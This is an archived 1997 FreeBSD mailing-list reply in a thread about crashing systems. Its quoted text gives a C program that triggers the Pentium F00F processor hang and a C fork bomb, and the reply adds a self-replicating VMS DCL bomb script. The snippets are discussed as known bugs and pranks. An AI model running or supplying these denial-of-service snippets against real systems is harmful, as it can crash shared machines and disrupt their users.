Skip site navigation (1)Skip section navigation (2)
Date:      Mon, 10 Nov 1997 09:21:02 -0700 (MST)
From:      "Thomas S. Traylor" <ttraylor@titan.mcit.com>
To:        sporkl@dti.net
Cc:        Michael Richards <026809r@dragon.acadiau.ca>, freebsd-questions@FreeBSD.ORG
Subject:   Re: Crashing FreeBSD
Message-ID:  <Pine.OSF.3.96.971110091733.8096A-100000@titan.mcit.com>
In-Reply-To: <Pine.BSF.3.96.971109204549.3021A-100000@iconoclastic.com>

next in thread | previous in thread | raw e-mail | index | archive | help
On Sun, 9 Nov 1997, sporkl wrote:

> Well, there are other ways too. 
> 	
> 	1. Toggle power really fast
> 	2. write a "forkbomb":
> #include <stdio.h>
> 
> main() {
> 
>   for(;;) {fork();}
> }
> 

This looks like something a student did to us on a VMS system.  For
those with VMS systems around try:

$! bomb.com
$!
$ spawm/nowait bomb.com
$ submit bomb.com
$ @bomb.com

Tom

> 	I am sure there are other ways.
> 
> 
> 
> 
>  -Spike Gronim
>   sporkl@dti.net
> 
> 	"Tradition is the chastity belt of the mind" 
> 
> 
> 
> On Sun, 9 Nov 1997, Michael Richards wrote:
> 
> > Well folks, it looks like anyone can crash a FreeBSD box. I am told that
> > this is a bug in the pentium processor. Compile and run, it will crash the
> > machine right away...
> > 
> > Very simple:
> > 
> > 
> > char x [5] = { 0xf0, 0x0f, 0xc7, 0xc8 };
> > 
> > main () {
> >     void (*f)() = x;
> >     f();
> > }
> > 
> > 
> 
> 

--
Thomas Traylor
Thomas.Traylor@mci.com
ttraylor@titan.mcit.com
(719) 535-1269





Want to link to this message? Use this URL: <https://mail-archive.FreeBSD.org/cgi/mid.cgi?Pine.OSF.3.96.971110091733.8096A-100000>